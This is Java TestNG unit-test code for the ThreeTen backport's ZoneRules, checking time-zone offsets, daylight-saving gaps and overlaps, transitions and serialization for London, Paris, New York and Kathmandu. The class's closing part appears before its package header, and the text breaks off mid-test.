assertFalse(trans.equals(OFFSET_PONE)); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_Paris_getOffsetInfo_overlap() { ZoneRules test = europeParis(); final LocalDateTime dateTime = LocalDateTime.of(2008, 10, 26, 2, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_PTWO, OVERLAP); assertEquals(trans.isGap(), false); assertEquals(trans.isOverlap(), true); assertEquals(trans.getOffsetBefore(), OFFSET_PTWO); assertEquals(trans.getOffsetAfter(), OFFSET_PONE); assertEquals(trans.getInstant(), createInstant(2008, 10, 26, 1, 0, ZoneOffset.UTC)); assertEquals(trans.isValidOffset(OFFSET_ZERO), false); assertEquals(trans.isValidOffset(OFFSET_PONE), true); assertEquals(trans.isValidOffset(OFFSET_PTWO), true); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(3)), false); assertEquals(trans.toString(), "Transition[Overlap at 2008-10-26T03:00+02:00 to +01:00]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(OFFSET_PTWO)); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_Paris_getStandardOffset() { ZoneRules test = europeParis(); ZonedDateTime zdt = createZDT(1840, 1, 1, ZoneOffset.UTC); while (zdt.getYear() < 2010) { Instant instant = zdt.toInstant(); if (zdt.toLocalDate().isBefore(LocalDate.of(1911, 3, 11))) { assertEquals(test.getStandardOffset(instant), ZoneOffset.ofHoursMinutesSeconds(0, 9, 21)); } else if (zdt.toLocalDate().isBefore(LocalDate.of(1940, 6, 14))) { assertEquals(test.getStandardOffset(instant), OFFSET_ZERO); } else if (zdt.toLocalDate().isBefore(LocalDate.of(1944, 8, 25))) { assertEquals(test.getStandardOffset(instant), OFFSET_PONE); } else if (zdt.toLocalDate().isBefore(LocalDate.of(1945, 9, 16))) { assertEquals(test.getStandardOffset(instant), OFFSET_ZERO); } else { assertEquals(test.getStandardOffset(instant), OFFSET_PONE); } zdt = zdt.plusMonths(6); } } // America/New_York private ZoneRules americaNewYork() { return ZoneId.of("America/New_York").getRules(); } public void test_NewYork() { ZoneRules test = americaNewYork(); assertEquals(test.isFixedOffset(), false); } public void test_NewYork_preTimeZones() { ZoneRules test = americaNewYork(); ZonedDateTime old = createZDT(1800, 1, 1, ZoneOffset.UTC); Instant instant = old.toInstant(); ZoneOffset offset = ZoneOffset.of("-04:56:02"); assertEquals(test.getOffset(instant), offset); checkOffset(test, old.toLocalDateTime(), offset, 1); assertEquals(test.getStandardOffset(instant), offset); assertEquals(test.getDaylightSavings(instant), Duration.ZERO); assertEquals(test.isDaylightSavings(instant), false); } public void test_NewYork_getOffset() { ZoneRules test = americaNewYork(); ZoneOffset offset = ZoneOffset.ofHours(-5); assertEquals(test.getOffset(createInstant(2008, 1, 1, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 2, 1, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 1, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 4, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 5, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 6, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 7, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 8, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 9, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 10, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 12, 1, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 1, 28, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 2, 28, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 4, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 5, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 6, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 7, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 8, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 9, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 10, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 28, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 12, 28, offset)), ZoneOffset.ofHours(-5)); } public void test_NewYork_getOffset_toDST() { ZoneRules test = americaNewYork(); ZoneOffset offset = ZoneOffset.ofHours(-5); assertEquals(test.getOffset(createInstant(2008, 3, 8, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 9, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 10, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 3, 11, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 3, 12, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 3, 13, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 3, 14, offset)), ZoneOffset.ofHours(-4)); // cutover at 02:00 local assertEquals(test.getOffset(createInstant(2008, 3, 9, 1, 59, 59, 999999999, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 9, 2, 0, 0, 0, offset)), ZoneOffset.ofHours(-4)); } public void test_NewYork_getOffset_fromDST() { ZoneRules test = americaNewYork(); ZoneOffset offset = ZoneOffset.ofHours(-4); assertEquals(test.getOffset(createInstant(2008, 11, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 2, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 3, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 11, 4, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 11, 5, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 11, 6, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 11, 7, offset)), ZoneOffset.ofHours(-5)); // cutover at 02:00 local assertEquals(test.getOffset(createInstant(2008, 11, 2, 1, 59, 59, 999999999, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 2, 2, 0, 0, 0, offset)), ZoneOffset.ofHours(-5)); } public void test_NewYork_getOffsetInfo() { ZoneRules test = americaNewYork(); checkOffset(test, createLDT(2008, 1, 1), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 2, 1), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 3, 1), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 4, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 5, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 6, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 7, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 8, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 9, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 10, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 11, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 12, 1), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 1, 28), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 2, 28), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 3, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 4, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 5, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 6, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 7, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 8, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 9, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 10, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 11, 28), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 12, 28), ZoneOffset.ofHours(-5), 1); } public void test_NewYork_getOffsetInfo_toDST() { ZoneRules test = americaNewYork(); checkOffset(test, createLDT(2008, 3, 8), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 3, 9), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 3, 10), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 3, 11), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 3, 12), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 3, 13), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 3, 14), ZoneOffset.ofHours(-4), 1); // cutover at 02:00 local checkOffset(test, LocalDateTime.of(2008, 3, 9, 1, 59, 59, 999999999), ZoneOffset.ofHours(-5), 1); checkOffset(test, LocalDateTime.of(2008, 3, 9, 3, 0, 0, 0), ZoneOffset.ofHours(-4), 1); } public void test_NewYork_getOffsetInfo_fromDST() { ZoneRules test = americaNewYork(); checkOffset(test, createLDT(2008, 11, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 11, 2), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 11, 3), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 11, 4), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 11, 5), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 11, 6), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 11, 7), ZoneOffset.ofHours(-5), 1); // cutover at 02:00 local checkOffset(test, LocalDateTime.of(2008, 11, 2, 0, 59, 59, 999999999), ZoneOffset.ofHours(-4), 1); checkOffset(test, LocalDateTime.of(2008, 11, 2, 2, 0, 0, 0), ZoneOffset.ofHours(-5), 1); } public void test_NewYork_getOffsetInfo_gap() { ZoneRules test = americaNewYork(); final LocalDateTime dateTime = LocalDateTime.of(2008, 3, 9, 2, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, ZoneOffset.ofHours(-5), GAP); assertEquals(trans.isGap(), true); assertEquals(trans.isOverlap(), false); assertEquals(trans.getOffsetBefore(), ZoneOffset.ofHours(-5)); assertEquals(trans.getOffsetAfter(), ZoneOffset.ofHours(-4)); assertEquals(trans.getInstant(), createInstant(2008, 3, 9, 2, 0, ZoneOffset.ofHours(-5))); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-5)), false); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-4)), false); assertEquals(trans.toString(), "Transition[Gap at 2008-03-09T02:00-05:00 to -04:00]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(ZoneOffset.ofHours(-5))); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_NewYork_getOffsetInfo_overlap() { ZoneRules test = americaNewYork(); final LocalDateTime dateTime = LocalDateTime.of(2008, 11, 2, 1, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, ZoneOffset.ofHours(-4), OVERLAP); assertEquals(trans.isGap(), false); assertEquals(trans.isOverlap(), true); assertEquals(trans.getOffsetBefore(), ZoneOffset.ofHours(-4)); assertEquals(trans.getOffsetAfter(), ZoneOffset.ofHours(-5)); assertEquals(trans.getInstant(), createInstant(2008, 11, 2, 2, 0, ZoneOffset.ofHours(-4))); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-1)), false); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-5)), true); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-4)), true); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Overlap at 2008-11-02T02:00-04:00 to -05:00]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(ZoneOffset.ofHours(-4))); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_NewYork_getStandardOffset() { ZoneRules test = americaNewYork(); ZonedDateTime dateTime = createZDT(1860, 1, 1, ZoneOffset.UTC); while (dateTime.getYear() < 2010) { Instant instant = dateTime.toInstant(); if (dateTime.toLocalDate().isBefore(LocalDate.of(1883, 11, 18))) { assertEquals(test.getStandardOffset(instant), ZoneOffset.of("-04:56:02")); } else { assertEquals(test.getStandardOffset(instant), ZoneOffset.ofHours(-5)); } dateTime = dateTime.plusMonths(6); } } // Kathmandu private ZoneRules asiaKathmandu() { return ZoneId.of("Asia/Kathmandu").getRules(); } public void test_Kathmandu_nextTransition_historic() { ZoneRules test = asiaKathmandu(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition first = trans.get(0); assertEquals(test.nextTransition(first.getInstant().minusNanos(1)), first); for (int i = 0; i < trans.size() - 1; i++) { ZoneOffsetTransition cur = trans.get(i); ZoneOffsetTransition next = trans.get(i + 1); assertEquals(test.nextTransition(cur.getInstant()), next); assertEquals(test.nextTransition(next.getInstant().minusNanos(1)), next); } } public void test_Kathmandu_nextTransition_noRules() { ZoneRules test = asiaKathmandu(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition last = trans.get(trans.size() - 1); assertEquals(test.nextTransition(last.getInstant()), null); } @Test(expectedExceptions=UnsupportedOperationException.class) public void test_getTransitions_immutable() { ZoneRules test = europeParis(); test.getTransitions().clear(); } @Test(expectedExceptions=UnsupportedOperationException.class) public void test_getTransitionRules_immutable() { ZoneRules test = europeParis(); test.getTransitionRules().clear(); } // equals() / hashCode() public void test_equals() { ZoneRules test1 = europeLondon(); ZoneRules test2 = europeParis(); ZoneRules test2b = europeParis(); assertEquals(test1.equals(test2), false); assertEquals(test2.equals(test1), false); assertEquals(test1.equals(test1), true); assertEquals(test2.equals(test2), true); assertEquals(test2.equals(test2b), true); assertEquals(test1.hashCode() == test1.hashCode(), true); assertEquals(test2.hashCode() == test2.hashCode(), true); assertEquals(test2.hashCode() == test2b.hashCode(), true); } public void test_equals_null() { assertEquals(europeLondon().equals(null), false); } public void test_equals_notZoneRules() { assertEquals(europeLondon().equals("Europe/London"), false); } public void test_toString() { assertEquals(europeLondon().toString().contains("ZoneRules"), true); } private Instant createInstant(int year, int month, int day, ZoneOffset offset) { return LocalDateTime.of(year, month, day, 0, 0).toInstant(offset); } private Instant createInstant(int year, int month, int day, int hour, int min, ZoneOffset offset) { return LocalDateTime.of(year, month, day, hour, min).toInstant(offset); } private Instant createInstant(int year, int month, int day, int hour, int min, int sec, int nano, ZoneOffset offset) { return LocalDateTime.of(year, month, day, hour, min, sec, nano).toInstant(offset); } private ZonedDateTime createZDT(int year, int month, int day, ZoneId zone) { return LocalDateTime.of(year, month, day, 0, 0).atZone(zone); } private LocalDateTime createLDT(int year, int month, int day) { return LocalDateTime.of(year, month, day, 0, 0); } private ZoneOffsetTransition checkOffset(ZoneRules rules, LocalDateTime dateTime, ZoneOffset offset, int type) { List<ZoneOffset> validOffsets = rules.getValidOffsets(dateTime); assertEquals(validOffsets.size(), type); assertEquals(rules.getOffset(dateTime), offset); if (type == 1) { assertEquals(validOffsets.get(0), offset); return null; } else { ZoneOffsetTransition zot = rules.getTransition(dateTime); assertNotNull(zot); assertEquals(zot.isOverlap(), type == 2); assertEquals(zot.isGap(), type == 0); assertEquals(zot.isValidOffset(offset), type == 2); return zot; } } }
package org.threeten.bp.zone; import static org.testng.Assert.assertEquals; import static org.testng.Assert.assertFalse; import static org.testng.Assert.assertNotNull; import static org.testng.Assert.assertNull; import static org.testng.Assert.assertTrue; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import org.testng.annotations.Test; import org.threeten.bp.DayOfWeek; import org.threeten.bp.Duration; import org.threeten.bp.Instant; import org.threeten.bp.LocalDate; import org.threeten.bp.LocalDateTime; import org.threeten.bp.LocalTime; import org.threeten.bp.Month; import org.threeten.bp.Year; import org.threeten.bp.ZoneId; import org.threeten.bp.ZoneOffset; import org.threeten.bp.ZonedDateTime; import org.threeten.bp.format.DateTimeFormatter; import org.threeten.bp.format.DateTimeFormatterBuilder; import org.threeten.bp.format.TextStyle; import org.threeten.bp.zone.ZoneOffsetTransitionRule.TimeDefinition; /** * Test ZoneRules. */ @Test public class TestStandardZoneRules { private static final ZoneOffset OFFSET_ZERO = ZoneOffset.ofHours(0); private static final ZoneOffset OFFSET_PONE = ZoneOffset.ofHours(1); private static final ZoneOffset OFFSET_PTWO = ZoneOffset.ofHours(2); public static final String LATEST_TZDB = "2009b"; private static final int OVERLAP = 2; private static final int GAP = 0; // Basics public void test_serialization_loaded() throws Exception { assertSerialization(europeLondon()); assertSerialization(europeParis()); assertSerialization(americaNewYork()); } private void assertSerialization(ZoneRules test) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(test); baos.close(); byte[] bytes = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream in = new ObjectInputStream(bais); ZoneRules result = (ZoneRules) in.readObject(); assertEquals(result, test); } // Etc/GMT private ZoneRules etcGmt() { return ZoneId.of("Etc/GMT").getRules(); } public void test_EtcGmt_nextTransition() { assertNull(etcGmt().nextTransition(Instant.EPOCH)); } public void test_EtcGmt_previousTransition() { assertNull(etcGmt().previousTransition(Instant.EPOCH)); } // Europe/London private ZoneRules europeLondon() { return ZoneId.of("Europe/London").getRules(); } public void test_London() { ZoneRules test = europeLondon(); assertEquals(test.isFixedOffset(), false); } public void test_London_preTimeZones() { ZoneRules test = europeLondon(); ZonedDateTime old = createZDT(1800, 1, 1, ZoneOffset.UTC); Instant instant = old.toInstant(); ZoneOffset offset = ZoneOffset.ofHoursMinutesSeconds(0, -1, -15); assertEquals(test.getOffset(instant), offset); checkOffset(test, old.toLocalDateTime(), offset, 1); assertEquals(test.getStandardOffset(instant), offset); assertEquals(test.getDaylightSavings(instant), Duration.ZERO); assertEquals(test.isDaylightSavings(instant), false); } public void test_London_getOffset() { ZoneRules test = europeLondon(); assertEquals(test.getOffset(createInstant(2008, 1, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 2, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 4, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 5, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 6, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 7, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 8, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 9, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 1, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 11, 1, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 12, 1, ZoneOffset.UTC)), OFFSET_ZERO); } public void test_London_getOffset_toDST() { ZoneRules test = europeLondon(); assertEquals(test.getOffset(createInstant(2008, 3, 24, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 25, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 26, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 27, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 28, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 29, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 30, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 31, ZoneOffset.UTC)), OFFSET_PONE); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 3, 30, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 3, 30, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_PONE); } public void test_London_getOffset_fromDST() { ZoneRules test = europeLondon(); assertEquals(test.getOffset(createInstant(2008, 10, 24, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 25, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 26, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 27, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 28, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 29, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 30, ZoneOffset.UTC)), OFFSET_ZERO); assertEquals(test.getOffset(createInstant(2008, 10, 31, ZoneOffset.UTC)), OFFSET_ZERO); // cutover at 01:00Z assertEquals(test.getOffset(createInstant(2008, 10, 26, 0, 59, 59, 999999999, ZoneOffset.UTC)), OFFSET_PONE); assertEquals(test.getOffset(createInstant(2008, 10, 26, 1, 0, 0, 0, ZoneOffset.UTC)), OFFSET_ZERO); } public void test_London_getOffsetInfo() { ZoneRules test = europeLondon(); checkOffset(test, createLDT(2008, 1, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 2, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 4, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 5, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 6, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 7, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 8, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 9, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 1), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 11, 1), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 12, 1), OFFSET_ZERO, 1); } public void test_London_getOffsetInfo_toDST() { ZoneRules test = europeLondon(); checkOffset(test, createLDT(2008, 3, 24), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 25), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 26), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 27), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 28), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 29), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 30), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 3, 31), OFFSET_PONE, 1); // cutover at 01:00Z checkOffset(test, LocalDateTime.of(2008, 3, 30, 0, 59, 59, 999999999), OFFSET_ZERO, 1); checkOffset(test, LocalDateTime.of(2008, 3, 30, 2, 0, 0, 0), OFFSET_PONE, 1); } public void test_London_getOffsetInfo_fromDST() { ZoneRules test = europeLondon(); checkOffset(test, createLDT(2008, 10, 24), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 25), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 26), OFFSET_PONE, 1); checkOffset(test, createLDT(2008, 10, 27), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 28), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 29), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 30), OFFSET_ZERO, 1); checkOffset(test, createLDT(2008, 10, 31), OFFSET_ZERO, 1); // cutover at 01:00Z checkOffset(test, LocalDateTime.of(2008, 10, 26, 0, 59, 59, 999999999), OFFSET_PONE, 1); checkOffset(test, LocalDateTime.of(2008, 10, 26, 2, 0, 0, 0), OFFSET_ZERO, 1); } public void test_London_getOffsetInfo_gap() { ZoneRules test = europeLondon(); final LocalDateTime dateTime = LocalDateTime.of(2008, 3, 30, 1, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_ZERO, GAP); assertEquals(trans.isGap(), true); assertEquals(trans.isOverlap(), false); assertEquals(trans.getOffsetBefore(), OFFSET_ZERO); assertEquals(trans.getOffsetAfter(), OFFSET_PONE); assertEquals(trans.getInstant(), createInstant(2008, 3, 30, 1, 0, ZoneOffset.UTC)); assertEquals(trans.getDateTimeBefore(), LocalDateTime.of(2008, 3, 30, 1, 0)); assertEquals(trans.getDateTimeAfter(), LocalDateTime.of(2008, 3, 30, 2, 0)); assertEquals(trans.isValidOffset(OFFSET_ZERO), false); assertEquals(trans.isValidOffset(OFFSET_PONE), false); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Gap at 2008-03-30T01:00Z to +01:00]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(OFFSET_ZERO)); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_London_getOffsetInfo_overlap() { ZoneRules test = europeLondon(); final LocalDateTime dateTime = LocalDateTime.of(2008, 10, 26, 1, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, OFFSET_PONE, OVERLAP); assertEquals(trans.isGap(), false); assertEquals(trans.isOverlap(), true); assertEquals(trans.getOffsetBefore(), OFFSET_PONE); assertEquals(trans.getOffsetAfter(), OFFSET_ZERO); assertEquals(trans.getInstant(), createInstant(2008, 10, 26, 1, 0, ZoneOffset.UTC)); assertEquals(trans.getDateTimeBefore(), LocalDateTime.of(2008, 10, 26, 2, 0)); assertEquals(trans.getDateTimeAfter(), LocalDateTime.of(2008, 10, 26, 1, 0)); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-1)), false); assertEquals(trans.isValidOffset(OFFSET_ZERO), true); assertEquals(trans.isValidOffset(OFFSET_PONE), true); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Overlap at 2008-10-26T02:00+01:00 to Z]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(OFFSET_PONE)); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_London_getStandardOffset() { ZoneRules test = europeLondon(); ZonedDateTime zdt = createZDT(1840, 1, 1, ZoneOffset.UTC); while (zdt.getYear() < 2010) { Instant instant = zdt.toInstant(); if (zdt.getYear() < 1848) { assertEquals(test.getStandardOffset(instant), ZoneOffset.ofHoursMinutesSeconds(0, -1, -15)); } else if (zdt.getYear() >= 1969 && zdt.getYear() < 1972) { assertEquals(test.getStandardOffset(instant), OFFSET_PONE); } else { assertEquals(test.getStandardOffset(instant), OFFSET_ZERO); } zdt = zdt.plusMonths(6); } } public void test_London_getTransitions() { ZoneRules test = europeLondon(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition first = trans.get(0); assertEquals(first.getDateTimeBefore(), LocalDateTime.of(1847, 12, 1, 0, 0)); assertEquals(first.getOffsetBefore(), ZoneOffset.ofHoursMinutesSeconds(0, -1, -15)); assertEquals(first.getOffsetAfter(), OFFSET_ZERO); ZoneOffsetTransition spring1916 = trans.get(1); assertEquals(spring1916.getDateTimeBefore(), LocalDateTime.of(1916, 5, 21, 2, 0)); assertEquals(spring1916.getOffsetBefore(), OFFSET_ZERO); assertEquals(spring1916.getOffsetAfter(), OFFSET_PONE); ZoneOffsetTransition autumn1916 = trans.get(2); assertEquals(autumn1916.getDateTimeBefore(), LocalDateTime.of(1916, 10, 1, 3, 